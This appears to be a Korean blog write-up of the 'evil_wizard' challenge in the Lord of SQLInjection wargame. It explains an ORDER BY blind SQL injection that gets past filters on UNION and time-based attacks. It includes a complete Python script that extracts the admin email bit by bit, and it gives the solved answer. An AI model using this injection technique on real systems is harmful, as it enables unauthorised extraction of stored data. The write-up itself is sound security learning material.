Hacking/WebHacking Wargame Writeup
[WriteUp]/[Lord Of SQLInjection] evil_wizard
Cooku222
2025. 4. 28. 13:04
특징
-> hell_fire문제와 유사
-> 필터링은 union과 time based sql injection에 대한 제한을 둠
[도메인 값]?order=1
- 위 도메인 값을 설정한 후 화면에서 볼 수 있는 정보들
- id column 기준으로 출력 시도 → id=admin, score=50인 계정의 email을 파악하는 문제
- time based sql injection이 막혀있고, 에러를 출력하는 문구도 없다.
⇒ if문을 활용해서 참, 거짓을 구분하는 방법을 활용할 수 있다.
email의 길이가 1보다 큰 경우의 쿼리를 넣어본다.
->조건이 참이기에 첫번째 칼럼인 id를 기준으로 정렬이 되는 모습이 나온다.
-> email의 길이를 100보다 크다를 조건으로 넣어본다.
-> rubiya 아이디가 우선 나온다.
-> 조건이 거짓일때 10번째 컬럼을 기준으로 출력해도 출력이 실행되긴 한다.
=> 따라서, 이 경우 rubiya의 정보를 담은 row가 우선 출력되고, 반대로 참일 경우에는 admin의 정보를 담은 row가 출력된다.
Brute Forcing을 시도하기 위해 php 코드를 비교함
- 조건이 참인 경우
-> </th><tr><td>admin의 php 코드가 생김
- 조건이 거짓인 경우
-> 다른 태그로 admin이 출력된다.
-> Brute Forcing을 통해 email 알아내기 시도
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
headers = {'Cookie':'PHPSESSID=your_session_id'}
URL = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?"
email_length = 30
bit_length = 16
email = ''
print("\n=== Find Admin Email ===\n")
for i in range(1, email_length+1):
bit = ''
for j in range(1, bit_length+1):
payload = "order=if(id='admin' and substr(lpad(bin(ord(substr(email,{},1))),{},0),{},1)=1,score,2000)".format(i, bit_length, j)
res = requests.get(url=URL+payload, headers=headers, verify=False)
if '<td>50</td></tr><tr><td>rubiya</td>' in res.text:
# True -> bit == 1
bit += '1'
else:
# error occured -> bit == 0
bit += '0'
email += chr(int(bit, 2))
print("email (count %02d): %s (bit: %s, hex: %s)" % (i, chr(int(bit, 2)), bit, hex(int(bit, 2))))
print('\n>>> Final Email: %s' % email)
⇒ admin의 email
⇒ aasup3r_secure_email@emai1.com
삽입해야 할 도메인 주소
[도메인 값]?email=aasup3r_secure_email@emai1.com